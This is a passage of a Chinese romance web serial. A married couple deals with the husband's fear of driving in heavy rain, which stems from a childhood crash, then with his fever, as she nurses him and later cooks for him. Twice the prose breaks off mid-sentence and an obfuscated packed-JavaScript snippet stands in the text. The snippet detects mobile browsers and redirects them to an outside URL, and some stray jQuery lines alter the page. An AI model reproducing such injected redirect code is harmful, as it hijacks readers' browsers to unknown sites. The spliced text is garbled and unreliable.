店铺附近没有停车场,车只能短暂停在临时停靠区,姜栩打开车门:“我快去快回,你稍微等会儿。”
陆尽惟点头,目送她关门离开。
梨花铺子很有名,糕点都是现烤现卖,每次去都能看到店铺里拍长队,姜栩此时去更甚。
排队买完出来,擦肩进来的客人手里都提着雨伞,放进旁边的雨伞存放区。她往外一看,密密麻麻的雨滴冲刷着地面,在空气中蒙上一次水雾。
姜栩小跑冲到停靠区,连忙开门钻进车内:“排队有点久,居然又下雨了……”说完抽着纸巾擦去纸袋和身上的雨水。
陆尽惟眉心微蹙着,看着雨越来越大,啪啪打在车窗,渐渐形成一股小小的水流。
等她动作结束,说道:“你来开车吧。”
姜栩抬头看他:“?”
“你哪里不舒服吗?”突然换人开车,她着实没想到。
“不习惯下大雨开车。”他微微皱眉。
她愣了好几秒,没多问,把梨花糕放在后座:“那换换座。”
陆尽惟看了看她身上的浅浅湿意,打开了车门,“你直接跨过来。”
他下车绕过车头,姜栩迅速换到驾驶座。
雨比想象中大,陆尽惟上车时,头发上已经粘了些雨珠,身上的衬衣染上斑驳的深色痕迹。
姜栩开车次数并不多,刚接触他的车,开得并不快,陆尽惟也不催,只闭着眼睛,眉头偶尔轻蹙一下,似乎已经睡着了。
到老宅时,雨已经变小,如细线,无声飘落。
陆尽惟睁开眼,看了一眼窗外灰蒙蒙的天。
姜栩解开安全带,看了眼他的表情,温温淡淡的。
她感觉他的情绪并不好,和先前在公司不一样。
她不太确定是不是因为自己耽误了时间,又或者是因为下雨。
也不太确定该不该问。
想了想,还是没开口。
“进去吧。”陆尽惟对着她说完,便径直往前走,步子不大,但也没等她。
两人之间隔着半步的距离,一前一后进了门。
老爷子正在客厅里看报纸,听见动静抬起头,笑呵呵地:“栩栩回来了。”又看了看陆尽惟,“下雨没什么事吧?”
“没事儿。爷爷,给您买了点梨花糕。”姜栩把手里的纸袋递过去,“刚出炉的,还热着。”
陆潜义笑得脸上皱纹明显:“有心了,我正想着这一口呢。”
“您一次别吃太多,容易不消化。”她笑着叮嘱了一句。
“好,听你的。”
陆尽惟换好鞋,往这边看了一眼。
陆潜义看向他:“今天没让周智开车送?”
一般周智过来的话,都会进来跟他打声招呼。
“自己开回来的,”说完又纠正,“下雨她开的。”
陆潜义视线在他身上绕了绕,又慈祥地看了看姜栩:“以后下雨还是让司机或者周智送一送,安心些。”
陆尽惟淡淡回了句“知道了”,转身准备离开,“我先上楼了。”
姜栩坐在沙发边上,看着陆尽惟离开的背影,收回视线继续陪着老爷子看电视。
陆潜义注意到稍有不专注的姜栩,思索片刻:“栩栩,今天阿惟他有没有凶你?”
“凶?”
姜栩想了想,摇头。
陆尽惟还是挺绅士的,没发过脾气,说话除了冷点血,但都有礼知分寸,凶更无从谈起。
“他怎么了?”她问了句。
“栩栩,”陆潜义的声音压低了,“今天下这么大雨,他不喜欢下大雨的这种天气开车,心情可能也稍微差点儿。”
姜栩愣了一下,预感老爷子要给她说个不得了的秘密。
“好像是吧……”她解释回来路上的情况,“回来路上下大雨,他就让我开的车。”
老爷子点了点头,没有意外的表情。
“他就是有这个毛病,”陆潜义叹了口气,手指在膝盖上轻轻敲了两下,“小时候出过一个车祸,后来就不喜欢下雨这种天气。”
姜栩没接话,安静地听着。
“他十二岁那年,那时候的管家还不是现在的刘叔,是另一个……管家带他出去,路上下了大雨,车翻了。”陆潜义的语气很平静,像在说一件很久远的事,“他没什么大事,但是管家失去了一条腿。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590413|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阿惟当时就在大雨里卡了一个小时,看着管家渐渐昏过去,大雨一直往车里灌。”
他顿了顿。
“恢复之后,管家回乡修养,阿惟也没什么大碍,就是之后凡下大雨的天,他都不开车,也不喜欢出行。长大了好些,但能不碰就不碰。”
姜栩的手指在膝盖上轻轻攥了一下。想起刚才在车里,他皱着眉头坐在副驾驶,心情确实不怎么样。
“他绝对不会说这事,也不在人前展现,”陆潜义看了姜栩一眼,“我跟你说这个,就是想着你们现在是夫妻,有些事知道比不知道好。”
“我知道了,爷爷。”
姜栩心中琢磨了一番。
安慰他一下?可陆尽惟看起来不是需要安慰的人。假装不知道?似乎也不对。
陆潜义似乎看出了她的困惑,拍了拍她的手臂,“你不用想太多。也不需要你去安慰他什么的,他也不会听。你该怎么样还是怎么样,他心里有数。”
说完又补了一句:“他这个人,面冷。你有时候也别被唬住了。”
姜栩勉强笑了下,没说话。
“行了,害你今天奔波,你起得早,现在也累,上去休息会儿。”
姜栩往外走了两步,又回过头:“爷爷,谢谢您。”
老爷子摆了摆手,重新拿起报纸,像什么都没发生过。
姜栩上了楼,站在卧室门口,犹豫了一下才推门进去。
陆尽惟坐在窗边的单人沙发上,手里拿着iPad,屏幕亮着但没有翻动,目光落在窗外某个不知名的地方。
雨还在下,细细密密的,给玻璃上蒙了一层薄薄的雾气。
他听到动静,视线移过来,落在她身上,停了一秒,又移开了。
两人都没有说话,安安静静地。
突然传来一阵咳嗽,来自于陆尽惟。
姜栩抬眼,看到他正抬手揉着鼻子。想起他中午吃饭的状态,她还以为他只是单纯嗓子不舒服。
“你感冒了?”她不知道自己为什么冒出这一句,“我下去帮你找药倒点儿水。”
陆尽惟看了她一眼,眉头微动,像是在奇怪她这突然的问候。
“没关系,不用。”他说得一气呵成,完全没有打算与她多说。
姜栩思忖,她肯定是同情心泛滥了一下,老爷子说了他小时候的故事,挺让人觉得心疼,所以她感到同情,才会这么鬼使神差地问候。
没再交流,她简单洗了个澡,窝在沙发上刷手机。两人一个在窗边,一个在沙发上,中间隔了大半个房间,谁都没说话。
雨声从窗户缝里渗进来,细细碎碎的。
余光里,陆尽惟站起来,伸手拉上了窗帘。雨声闷了许多,像被人捂住了嘴。
姜栩抬头看他的时候,脑子里忽然浮现出一个画面:十二岁的小男孩被卡在变形的车里,雨水灌进来,他可能没哭,也没喊,冷静地看着旁边昏过去的管家,看着血水混着雨水往低处流,等了一个多小时。
这个画面不知道从哪里来的,或许源于她丰富的想象?
但姜栩觉得,大概就是那样的。
14. 安心存在
在楼上待了会儿,姜栩准备下楼看看,经过书房,里面传来一阵压抑的咳嗽。
她停住转头看了一眼。
书房的门没关严,露出半开的缝隙。
陆尽惟坐在书桌后面,椅子侧对着门的方向。桌上摊着几分文件,笔搁在一旁,笔记本电脑泛着幽幽蓝光。
他一只手按在桌沿,另一只手抵着太阳穴,眼睛闭着,眉心拧得很紧。
姜栩站在门外,轻轻敲了下门。
门推开的同时,陆尽惟的目光扫了过来,眼神温淡,带着一点疲态。
“有什么事?”他的声音明显哑了,比中午重了很多。
姜栩摇头,站在门口没动,随便找了个话题:“你晚餐有什么想吃的……”
“……厨房正常做就行。”说完忍不住咳嗽了两声。
姜栩犹豫了下,提醒道:“你感冒好像严重了……我帮你拿点药?”
陆尽惟抬眼,眸中闪过一丝异样:“我等下自己下去拿,你忙你的。”
姜栩“哦”了一声,转身出了书房。
楼下,客厅里空荡荡的,老爷子晚上不吃饭,此时已经回了房间,阿姨正在厨房里准备晚饭。
她往厨房走,打了声招呼:“李阿姨,麻烦晚上的菜稍微轻淡点,再加一个小米粥。”
“好嘞,差不多半个小时,你们稍微等会儿,我很快。”
姜栩笑了笑:“没关系,我们不着急,您按着正常节奏来。”
她在药箱里找到感冒药,准备拿上去给他,想了想,又作罢。把几种感冒药从药箱里拿出来,放在最上面的显眼位置,又看了一眼,往中间挪了挪。
然后走到厨房门口:“李阿姨,药箱里的感冒药我放在最上面了,陆……阿惟等下下来拿。”
阿姨转头看了她一眼:“先生感冒了?”
“嗯,有点咳嗽。”
“好,我一会儿跟他说一声。”
姜栩转身去客厅坐着,打开手机翻了翻,没什么消息,又把屏幕按灭。
客厅里安静得过分,她坐着坐着,觉得有点无聊,又觉得这种无聊里带着宁静的舒适。
大约过了二十分钟,陆尽惟从楼上下来,他直接进到厨房,里面隐约冒出“感冒”“药”几个词,听不太清楚。
出来时,他手里端着一杯水,看到坐在客厅的姜栩,停下脚步。
“阿姨说你把感冒药拿出来了。”他的语气没什么波澜,听不出是感谢还是别的意思。
姜栩点头:“你吃了吗?”
他“嗯”了一声,顿了顿:“谢谢。”
阿姨的声音从厨房传出来:“开饭了。”
小米粥端上来,熬得浓稠金黄。两人对面坐着,没有说话,只有勺子触碰瓷碗的清脆声响,气氛和谐。
“谢谢你的小米粥。”他忽然开口。
姜栩没揽这情:“不是我熬的,只是顺嘴的事。”
他抬眼看着她,没说话,眼神莫名柔和,像是在说:我知道,还是谢谢。
晚饭后,两人各据一处。
陆尽惟在书房,姜栩在房间里看书,互不干扰。
没看一会儿,陆尽惟打来电话。
姜栩怔了怔,同在屋檐下,干嘛还打电话?
接通,那头的声音带着鼻音:“来车库一趟。”
“怎么了?要出门?”
“不用。送了几辆车来,你选一辆。”
“哦。”
刚要挂断,那头又补了一句:“披件外套再出来。”
“好。”
姜栩到车库时,清一色的豪车里露出几辆不太合群的小轿车。陆尽惟和周智站在车前,正在说着什么。
姜栩几步走上前,扫了一眼几辆款式和颜色不同的车:“选什么车?”
周智出声:“姜姜,陆总说你凌晨上班不方便,所以给你挑了几辆代步车,要是你不想麻烦家里司机送,就可以自己开车去上班。”
陆尽惟瞥了周智一眼:“刚刚讲方案的时候,没见你嘴这么快,讲这么好。”
周智讪笑挠头,赶紧闭了嘴。
“谢谢。”
中午吃饭时她和周君绵的通话他大约听见了,当时他只问了句是否要选车,随后便不由分说地让她晚上挑。
她没放在心上,打算周末约周君绵去看,没想到他已经替她送来了。
车既然已经送来,她不再推拒,免得浪费好意,平白辜负这份周到。
眼前的四五辆车,品牌不同,价位适中,正适合她通勤上班的需求。
她扫了一眼,指着中间那辆Mini,抬头看向陆尽惟:“就这辆吧。”
陆尽惟沉默两秒:“还有没有其他喜欢的?”
姜栩摇头。
“就这辆。”他侧头对周智说。
周智忽然抿住笑意,点头,然后让人把其他车尽数开走。
陆尽惟精神没有白天好,站了一会儿给周智交代好后续事宜,准备上楼,看了看她选的车:“你可以先试试车。”
看着陆尽惟消失在转角,姜栩收回视线,跟周智搭话:“你刚刚笑什么?”
从选车开始,周智就一副憋笑的样子。
周智犹豫了一下:“没什么大事。就是跟了陆总这么多年,头一回见他选车的时候问人家‘还有没有其他喜欢的’。”
顿了下,解释道:“他平时交代这种事,都是直接说结果,没有过程。”
姜栩抿了抿唇,没接话。心头有一阵羽毛划过的痒。
周智识趣地不再多言:“姜姜,陆总嘱咐过的,这车安全性不错,适合市区通勤,动力方面比较温和,你基本代步完全没问题,正好。”
姜栩了然:“谢谢你了,周智。”
“客气了。”周智将手中的一系列手续交给她,道别离开。
偌大的车库只剩下姜栩一人时,她才开始真正仔细打量起这辆车。月光白的漆面在冷白的灯光下泛着细腻的光泽,圆润可爱的造型在一众线条硬朗的豪车中显得格外清新。
看着Mini,脑海里闪过陆尽惟的询问以及周智的话。
她想起很久以前,久到记忆都有些模糊的童年。姜少淳带她去商店,也是那样,沉默地站在一旁,看她踮着脚尖在琳琅满目的糖果柜前犹豫不决
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590414|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。他不催促,只是等着,等她终于选定,问一句还有没有其他想要的,然后付钱,把糖递给她,干脆利落。
那是姜少淳给她沉稳的爱,坚定不移。
让她真切地知道身后有一个后盾,坚强,挺拔,是让人安心的存在。
即使两人行径都如出一辙,但不可一概而论。
陆尽惟……不是这样。
因为他们之间的一切,不过是责任感,以及被包装得完美的躯壳。
-
考虑到半夜起床,姜栩特意睡得早一些,刚躺了一会儿,手机屏幕亮了一下。
周君绵发来的消息:【明天去选车?刚好还能让你送我回家。】
姜栩在屏幕上飞快回复:【车已就位,Mini】,想想又补了句,【陆尽惟晚上直接让人把车送来了。】
周君绵:【啧啧,这霸总式体贴,有点东西啊。】
姜栩扯了扯嘴角,随意聊过两句,回了个睡觉的表情包后锁了屏。
陆尽惟把最后一个项目方案看完,回到主卧时,床上的人已无动静,应是睡着了。
他放轻动作,取了睡衣去隔壁浴室。
回来时,不出所料地,属于他的那一角被子已经所剩无几。
他站着看了好一会儿,想起前几个晚上——
姜栩前半夜还很老实,睡前不是躲在被子里玩手机,就是像死尸一样安详地躺着,毫无任何与他接触逾矩的动作。到了后半夜,他渐渐发现身边的人要么不动声色地一点点把被子全裹在自己身上,要么就一直往他这边挤,他动她也跟着动,直到把他挤到床沿边。他只得将她一次次赶回她原本的位置,或者收回被子,偏偏睡着的人没什么意识,总以一种格外亲昵的姿势行动,不经意的燥热让他不愿再跟她同盖一床被子。
她成功一个人拥有了完整的一床被子。
一阵昏沉的头疼袭上来,他揉了揉额角。身上隐隐有些发冷,摸了摸额头,说不上烫,但确实热了许多。
不知怎么,感冒来得稀奇,本以为只是最近连轴转太累,免疫力没扛住,出现症状也没多关注。感冒药吃了,但并无缓解。
-
半夜时分,姜栩是被热醒的。
意识朦胧间,她察觉一条手臂搭在肩头,将她缚住,身后有一片温热的气息,轻缓地拂过后颈。
她彻底清醒。
除了陆尽惟,不会有其他人。
她背对着他,他面对着她,紧贴的动作像是把她抱在怀里。
不寻常的炙热温度贴着她的脊背传来,热得她浑身僵直。
姜栩稍稍动了动,伸手去挪开他的手臂。指尖触到他皮肤时,异常滚烫。
她顿了顿,低声唤:“陆尽惟?”
没有回应。
她又唤了一声。
一两秒后,他才含糊地“嗯”了一声,鼻音浓重。
“你……你别挨着我。”她低声说,侧身屈肘将他推开一些,“你是不是发烧了?”
“没有。”陆尽惟哑声吐出两个字,身体却微微发颤,又朝她贴过来。
姜栩倏地坐起身,拒绝他的贴近。
15. 孤单半球
安静了片刻,陆尽惟没再贴过来。
姜栩坐在床边,把床头的灯光微微调亮,朦胧不刺眼。
借着光线,她看清陆尽惟眉头微蹙,额发被薄汗浸湿了几缕,贴在皮肤上,呼吸里都带着细碎的沉滞。像是又睡了过去。
和平日里那种疏离冷淡的模样不同,此刻的他看起来有些脆弱。
她伸手探了探他的额头,温度瞬间传到手掌心。
“陆尽惟,你发烧了。”
陆尽惟喉间溢出一声极轻的“嗯”,带着细碎的疲倦,然后伸手拉住她的手腕,将一束束热源沿着手腕传到她整个手臂。
“有点冷。”低沉沙哑的声音没有了平常的冷漠。
“你这是感冒的症状,又冷又发烧的,”姜栩顾不上质问讨伐,贴着她还要拉着她,大概就是觉得冷,想靠近她这个“热源”。
惊吓平息后,她建议:“看你这样子,还是去下医院吧?”
家里有家庭医生,但大半夜的把人从睡梦中拉出来,代入她自己,绝对不希望半夜工作,简直是出门被撞一千次都不足惜。
陆尽惟眼皮动了动,却没有睁开眼睛,有气无力道:“不去。”
姜栩眉头微蹙:“我觉得你还是得重视,很多人都是发烧把脑子烧坏的。你赶紧起来,我可以开车载你。”说着她就准备掀被子下床,嘴上还不确定地嘀咕,“是不是现在就得先降温退下烧?万一路上烧红了呢……”
正自言自语,陆尽惟再次抓住她的手腕,声音比刚刚清晰几分,带着不容置疑:“我不去。”
姜栩率先看看被他攥住的手腕,又看到他微蹙的眉,顿了一下,小声吐槽:“是你感冒发烧,还拒绝得这么干脆……我瞎起劲儿,真是皇上不急太监急。”说完声音大了几分,“不去也总得吃个退烧药啊,我下去找找。”
说完就撇下他的手,转身迈腿出了主卧。
她的语气里带着一丝急,声音压得稍低,转身时没注意到,陆尽惟缓缓睁开了眼睛,目光在她背影上停留了两秒,又再次闭上。
心里有种说不出的感觉,不是因为感冒的难受,而是不习惯这种被人安排的感觉。但是,他却并不抗拒。
别墅一楼很安静,姜栩放轻脚步,借着手机的手电光,轻车熟路地拿出医药箱,拿上体温计,挑出退烧药,又倒了杯温水。
回到卧室,她走到床边,轻声叫他:“陆尽惟,先量个体温。”
体温计递到眼前,但是床上的人没有一丝动作,连眼都没睁,仍然一副迷蒙沉睡的模样。
她伸手碰了碰他的肩膀。
陆尽惟没什么力气,原本发冷的感觉又变成了头昏脑胀的灼烧,这让他有些不耐烦:“不用,”
说完,又径自补充:“睡你的。”
见惯了他的冷淡凌厉,如今看他这病蔫蔫的样子,即使语调有些不耐,看着更像一只病老虎,毫无杀伤力。
她确实可以装作不知道,不管不问,但身边睡着这么大的病号,想忽视都难。她也挨不住良心的谴责,虽然不确定是不是因为她抢被子——其实前几天醒来时她就知道了,抢被子,占山为王,但此时照顾他,会让她多些安心。
再者,她也不能放任不管,万一第二天真脑子烧傻了,她得负全责。
现在照顾,指不定他明天还能记她个好。
她等了几秒,直接掀开陆尽惟身上半盖的被子。探进睡衣下摆,慢慢往他胸口处摸。
她的手温度并不高,划过炙热而精壮结实的胸膛,如蜻蜓点水,冰凉舒润。
陆尽惟难受得身上酸疼没什么力气,却还是强撑着睁开眼,抬手一挡,蹙眉问:“你干什么?”
姜栩灵活避过他的阻挡,在床边蹲下,“量下体温啊。你又不乐意动,我帮你。”说话间,她已经找准位置,手臂压在他的胸口,顺势把体温计的一端塞进腋下。
“你先吃点退烧药,然后看你能不能退烧,要是不退的话,真的得去医院。”
陆尽惟似是觉得她话多了,声音疲倦:“你安静会儿。”
本以为就这样偃旗息鼓,她却开口:“我偏不,有本事你起来打我啊。”
陆尽惟眼皮滚烫,缓缓掀起看着她……
小瞧她了。
借着床头的低度光线,她看到他脸上的不正常红晕,在这张俊脸上显得有些违和。
这个时候,姜栩认真地端详这张脸。眉毛,鼻子,薄唇,似乎每一个五官都并不那么相像,但偶尔有一瞬间,某种恍惚和错觉,会让她在脑海里浮现出一个记忆中的容颜。
或许,再过一段时间,等她看习惯了面前的这张脸,她曾经深深刻在脑子里的那张脸也就慢慢消失了,就像她曾经的期待一样,杳无踪迹。
看了好一会儿,姜栩回神,再次伸手盖住陆尽惟的额头,还是很烫。
准备起身去弄凉毛巾,才意识到自己蹲了很久,腿部发麻,猛地一站起来,伴随的眩晕天翻地覆地涌上来,她只往身前栽。
她整个人跌进他的怀里。
突如其来的惊吓,陆尽惟发出一声闷哼,闭着的眼睛也睁开,保持着最后一丝力气,微微抬手将她护稳。
姜栩慢慢缓过来,渐渐闻到他身上淡淡的沐浴露清香,混合着一点因为发烧而产生的特有的温热气息。
空气在静谧的黑夜里挤出一丝尴尬,随之而来的是她惊魂未定的心跳加速,以及脸上突然升起的红晕。
她连忙从他身上起来,踉跄两步后站稳。
“不好意思……”
“还以为你要谋杀我。”他哑着声音说。
都已经发烧到这个程度,连说话都是懒懒倦倦的,谁知嘴上还有工夫吐槽。
姜栩:“谋杀你才不会管你,不知道感恩……”
趁着他生病,没什么力气,她过过嘴上的瘾。
“……不是占我便宜么?”
姜栩觉得他病得不重,这时候完全没见他虚弱。
她拒绝回答,转身往浴室走,“发烧要物理降温。给你弄一个凉毛巾在额头上敷一下。”
伴随着轻微的脚步声,不多时,一片冰凉敷在额头上。动作不算熟练,指腹还不小心蹭到了他的眉骨。
浑身热得像烙铁,姜栩的凉毛巾恰到好处地浇灭了他的一些潮热。
他睫毛颤了一下,没有躲开,闭上眼睛,低声说了句:“感恩。”
这是他第一次用一种疲倦的语气跟她说话,没有冷淡,也没有疏远。
“不客气。”
时间差不多,姜栩再次伸进他的睡衣,将体温计拿出来,借着灯光看刻度:“三十九度二,太高了,你能挺过去吗?真别逞强烧出问题了。”
“没事。”
声音不大,带着高烧特有的沙哑,却仍有肯定的力度,颇有没病时候的气势。
病中的情绪并不好,陆尽惟刚刚语气冷硬,他不知姜栩心里想什么,半晌没听她说话,缓下语气:“不用麻烦,吃药睡一觉就好。”
他说着便缓缓起身,指尖按住额前的毛巾,侧身端起水杯,仰头吞下药片,喝过几口水,动作利落干脆。
姜栩在原地看着他一气呵成的动作,站了会儿:“你睡吧,我……我就在这儿,你要是等会儿还不舒服,就叫我。”
说完回到自己的那侧床沿,侧头看着他紧绷的肩线,想起昨夜抢被子的事,心里终究有些不安。
沉默片刻,轻轻伸手将自己这边的被子往他那边推了推,盖住他露在外面的小臂。
“被子够大。”她轻声说,算是解释自己的举动。
陆尽惟没有任何异议,接受了她推过来的被子,指尖极其短暂地蜷了一下。
他没睁眼,也没说话。
不知过了多久,身侧传来一句极低的话,带着鼻音:“前几晚……被子都是你抢完的。”
他的语气很平淡,听不出是陈述还是控诉。
姜栩身体一僵,辩解的底气并不足:“我睡觉不太老实……”
身后传来一声极轻的哼笑,气息带动空气微弱的震动,然后是一阵压抑的咳嗽。
咳嗽平息后,他才慢慢说:“知道。所以你不是在弥补吗?”
姜栩愣了一下。
这算是……在安慰她,或者说,在给她台阶下?
姜栩怔怔地看了他半晌,才轻轻“哦”了一声,又把被子往他那边拢了拢,小心地控制着幅度。
她看了眼时间,离她起床没多长时间,估计还没睡熟,就要爬起来,加上身边还是个大病号,得留意着动静。
在她清晰的意识里,不知是陆尽惟烧糊涂了还是睡着了,他还握着她的手腕。
这一次,她没有挣开,任由他攥着。
没有想象中的突兀,只是觉得有些陌生。
陆尽惟身上发热,却仍是一阵冷一阵热,并没有完全睡着,当他睁开眼时,身侧模糊的人影渐渐清晰,老老实实地躺着,眼睛却没有闭上。
在他的印象中,大多时候是跟着管家照顾陆尽媛的记忆。一直以来,他的身体都很好,很少发烧感冒,偶尔生病,随便对付一下就可以,倒也不会有人跑前跑后。
起初,他并不想让姜栩对他有什么反应,即使是躺在同一张床上。
不过他低估了病毒的强大,也未曾注意过姜栩的执着和热心。
鼻塞发热,迫使他并没有睡意,就这么看着姜栩。
心头一热。
“姜栩。”
姜栩立马转头,“怎么了?哪里不舒服?”
几秒后,他说:“等会儿上班,司机送你。”
他其实没想好跟她说什么,姜栩的反应很快,让他有了措手不及的感觉。
姜栩以为自己刚刚跟病中的他挑衅,导致他记仇,嘴比脑子快:“车不是送我了吗?”
她的眼睛睁得大了些,满是不相信。
“司机送你,能在车上睡会儿。”
话落,姜栩有些惭愧,感觉自己以小人之心度君子之腹,而这种意料之外的回答,让她有一瞬间的颤动。
“哦,好。”
-
一整天的培训结束,混着劳累与兴奋。姜栩刚到楼下,家里司机已经等了一会儿。
回到老宅时,她看到陆尽惟的车也停在车库里。
老爷子没在家,说是出门找老友下棋。
姜栩在厨房转了两圈,从冰箱里拿了个鸭梨,刚啃了一口,余光扫到门口站着一个人。
陆尽惟穿着一件深灰色的家居衫靠在门框边,领口微敞,手边拿着一个空水杯。他的脸色比昨晚好了一些,但眉眼间的疲倦还在。
她随口问候:“你今天感觉怎么样?”
“好多了。”
声音还是有些鼻音,不过比大半夜的时候好多了。
“你怎么回来得这么早?”她扫了他一眼,正常时候,他比她回来得晚。
他手上拿着杯子,拧开矿泉水,侧头看她:“事情不多,处理完就提前回来了。”
姜栩点了点头,深觉他确实厉害,大半夜发烧不舒服,早上照样还去了公司。
工作狂无疑。
视线落在他手中的矿泉水上,伸手截住,“你感冒都没好,还喝凉的?”
陆尽惟的手指在瓶身上顿了一下,也意识到了问题。他没说什么,任由她把水瓶拿走。
姜栩转身替他接了一杯略烫的水,“喝热的。”
陆尽惟垂眸看了眼冒着细微热气的杯子,接过来缓缓喝了两口。
“虽然像废话,”姜栩看着他微微滚动的喉结,开口道,“但多喝热水不是没有道理的。”
陆尽惟抬眼,带着一丝病中特有的懒散,等她下文,却没有。
“说完了?”
“说完了。”她理直气壮,“就是字面意思,多喝热水。”
“……”
姜栩被他看得有点不自然,别开眼,啃了一口梨,“你吃饭了吗?”
“没有。”顿了下,“李阿姨家里有事请了两天假,你吃什么,等下让越林轩那边送过来。”
姜栩摇了摇头:“我不用,我等下自己做。”
因为在老宅怕被老爷子唠叨,所以她根本没机会吃泡面这些垃圾食品,今天正是机会,“你要吃什么?不嫌弃的话我也可以帮你做一点儿。”
说完她有点心虚,她的做一点儿,仅仅局限于煮面多煮一碗,泡面多泡一袋。
“除了鸡蛋相关的,你还会做什么?”他的语调带着一点调侃。
“你别小瞧我,我会的还挺多。”她扬起下巴,嘴巴一张就是说,反正他嘴巴那么挑剔的一人,也绝对不会给她机会展示。
“小米粥会吗?”
姜栩没想到他真的会应下,“会,等着吧。”
煮粥简单,她没问题。
转身扎进厨房,姜栩翻出小米,淘洗干净后直接放进电饭煲。看着单调的汤水,又从橱柜里抓了几颗红枣丢进去,暗红的枣子沉在米中,调和了单调的黄色。
然后她开始准备自己的豪华泡面,身后传来脚步声,她回头,陆尽惟正靠在厨房门框上,抱着胳膊看她,看到她手里的泡面包装,眉头微蹙:“煮泡面粥?”
“你的是小米粥。”她扬了扬下巴示意已经在锅里煮着,转身去洗泡面锅,“泡面是我自己吃的。”
陆尽惟上前两步,扫了眼她没关严的砂锅盖子:“小米少了点儿,水再加点儿,少了容易糊底,别最后煮成锅巴。”说完,打开橱柜,重新洗了点小米,又添了一些水。
姜栩看着他行云流水的动作,看着像很会下厨的样子,挑了挑眉:“没想到你还挺熟练的。”
他瞥她一眼:“简单的生活技能不至于为零。”
感觉他的话意有所指,姜栩解释:“我不是怕你吃不完么,我会煮。”
“我只是感冒,不是吃不了饭了。”
“……”
陆尽惟在厨房门口站了片刻,手机响了起来,那看了一眼,转身回客厅:“别煮糊了,免得我刚恢复,又被你喂进医院。”
姜栩:“我水准才不会那么差!”
她瞥了眼已经出去接电话的人,撇了撇嘴,转身继续忙活自己的泡面。
半个小时后,小米粥已经在锅里翻腾,卷着几颗红枣打滚。
姜栩盛了一碗粥端出去,放在陆尽惟面前:“好了,你尝尝看。”
陆尽惟暂停手里的工作,目光落在碗里的小米粥,软烂开花,红枣浮在表面,卖相不算差。
拿起勺子舀一勺,入口温热绵密,红枣的甜恰到好处,不惊艳,却意外暖胃。
“味道不错,谢谢。”
“小事。”
姜栩悄悄松了口气,心里那点莫名其妙的成就感,让她自己都觉得有点好笑。
两人围着客厅的茶几对坐,一个抱着大碗吃豪华泡面,一个慢条斯理地喝着清淡的小米粥。
陆尽惟向来不碰泡面这类他眼中的垃圾食品,可今天不知怎的,手里的粥显得格外寡淡无味。反观姜栩碗里的泡面,鱼丸、肉卷、午餐肉、荷包蛋、青菜,满满当当堆了一碗,汤汁浓郁,热气氤氲,香气丝丝缕缕飘过来,勾得人胃里发空。再看她吃得香,透着满满的满足感,更让他莫名觉得馋,忍不住看着小米粥咽口水。
面条顺滑劲道,姜栩吸溜两口,声音不大。
“声音小点儿。”一道声音突然响起,听着有些别扭。
姜栩抱着碗愣了下,咽下面条,吹了吹碗里的汤,故意道:“香吧?”
见他不说话,又露出惋惜的神情,“可惜咯,你这两天忌口,没口福尝。”
这副幸灾乐祸的模样,让陆尽惟停下舀粥的动作,眼神沉沉地盯着她大快朵颐的样子,“你这种行为,很容易被人报复。”
“你这么小心眼?”姜栩挑眉反问。
“不一定。”
两人斗嘴几句,没有结果。
姜栩忽视病号寡淡无味的抱怨,乐滋滋吃着面,一脸享受。
电话响起,陆尽惟看了眼来电提示,一手端着粥碗,接听划开点了免提。
“阿惟,感冒怎么样了?”
一个感冒不至于让沈经纶如此牵挂,只能说是没话找话,抛砖引玉。
“有话直接说。”
“之前的海岛完全落地,一起去度假。”
陆尽惟沉默两秒,脱口说了句没时间,让他找其他人。
沈经纶早就习惯他说一不二的态度,吐槽两句就挂断。
姜栩把通话内容全听了去,好奇说了一句:“沈经纶挺潇洒哈。”
她跟沈经纶其实没见过几次,当时说的话也不多,只感觉这人话比较多,也是京市出了名的贵公子,家世背景深厚,一贯言行嚣张不羁,少有人敢招惹。
姜栩听得多了,多少对他有些忌惮,本着不主动不结交的原则。
后来陆尽惟组饭局,以及某两个活动碰上,她才和他渐渐熟了一些。
每次见他,他都是一副跟她认识了十年的样子,那些嚣张和跋扈的印象渐渐散去,改观了她的刻板印象。
“他没事找事,你是没话找话。”
“……”
陆尽惟看了她一眼,“他估计一会儿就给你打电话了。”
即使他拒绝了,沈经纶绝对不会善罢甘休,不开门他就翻窗,按照他的路子,绝对会劝说姜栩过去,甚至生拉硬拽也要让她去。
果然,姜栩吃完最后一口碗里的午餐肉,沈经纶的电话就来了。
“嗨!姜姜!”那头声音洪亮。
姜栩将手机拿开一些:“哈喽。”
“想不想出去玩?姜姜。”沈经纶格外殷勤。
姜栩:“我……可以啊。”
“听说你最近进新闻部了,我觉得应该给你庆祝一下,”他自顾说着,不等她回应,“下个月去海岛怎么样?那个时候气候特别好,堪比巴厘岛。”
“什么海岛?”她其实挺好奇的。
“就是我前两年买下来的,让人把那边修整了许多,现在特别漂亮,自然风光,人物景物都不缺,就缺人去热闹,增加点儿人气儿。”
沈经纶俨然化身推销员,“姜姜,真的,我绝对不骗你,那边拍照都特别出片,而且这海岛阿惟也有参与,绝对可信……你要是觉得跟我们几个大老爷们儿不方便,把你朋友都叫上,人多更热闹。”
姜栩被说动了。
对于吃喝玩乐,她向来没有什么定力,能去海岛,将开启她游玩的新一块版图。
